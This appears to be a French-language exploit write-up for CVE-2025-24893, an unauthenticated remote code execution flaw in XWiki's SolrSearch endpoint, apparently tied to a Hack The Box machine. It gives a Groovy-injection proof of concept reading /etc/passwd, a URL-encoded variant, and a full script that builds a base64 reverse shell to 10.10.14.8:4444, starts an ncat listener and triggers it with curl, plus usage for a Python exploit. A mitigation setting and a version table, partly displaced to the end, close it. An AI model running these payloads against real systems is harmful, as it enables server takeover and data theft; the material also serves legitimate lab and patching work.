
CVE-2025-24893 est une vulnérabilité critique d'exécution de code à distance non authentifiée (RCE) dans XWiki, une plateforme wiki d'entreprise open-source populaire.
SolrSearch (interface utilisateur XWiki)Le point de terminaison /xwiki/bin/get/Main/SolrSearch concatène l’entrée non fiable text= directement dans un modèle Freemarker.
En fermant prématurément le modèle et en ouvrant un nouveau bloc {{groovy}} … {{/groovy}}, un attaquant exécute du code Groovy arbitraire sans authentification.
GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>> HTTP/1.1
SolrSearch devrait intégrer le texte fourni comme contenu brut, mais le gestionnaire de macro n’échappe pas }}}, donc ce qui suit se produit :
}}} ferme le bloc Freemarker actuel. {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}
async=false force l’exécution synchrone (fonctionne même pour les invités).Un PoC minimal qui affiche /etc/passwd :
}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}
Variante encodée en URL (espaces → %20, accolades → %7B/%7D, etc.) :
%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
| Branche | Corrigé dans | Vulnérable ≤ |
|---|---|---|
| 15.x | 15.10.11 | 15.10.10 (et toutes les 15.9 / 15.8 …) |
(source : avis OffSec & XWiki SEC-S 2025-02)

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444
# 1. one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
# 2. Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)
# 3. wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'
# 4. URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")
# start listener
sudo ncat -lvnp 4444
# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"
xwiki_solr_rce.py est livré dans exploit/ (voir le bloc de code ci-dessous).
python CVE-2025-24893.py -u <URL CIBLE> -l <IP> -p <PORT>
où
<URL CIBLE> - URL incluant http:// ou https://
(passez -c "id" pour exécuter une commande arbitraire au lieu d’un shell)

# /etc/xwiki/xwiki.properties
solr.search.enabled = false
Recherche & Preuve de concept : DeX1d
Avertissement : À usage éducatif uniquement. Lancer ceci contre des systèmes dont vous n’êtes pas propriétaire est illégal.
| 14.x LTS | 14.10.17 | 14.10.16 |
| 13 / 12 | Non maintenu – toutes restent vulnérables |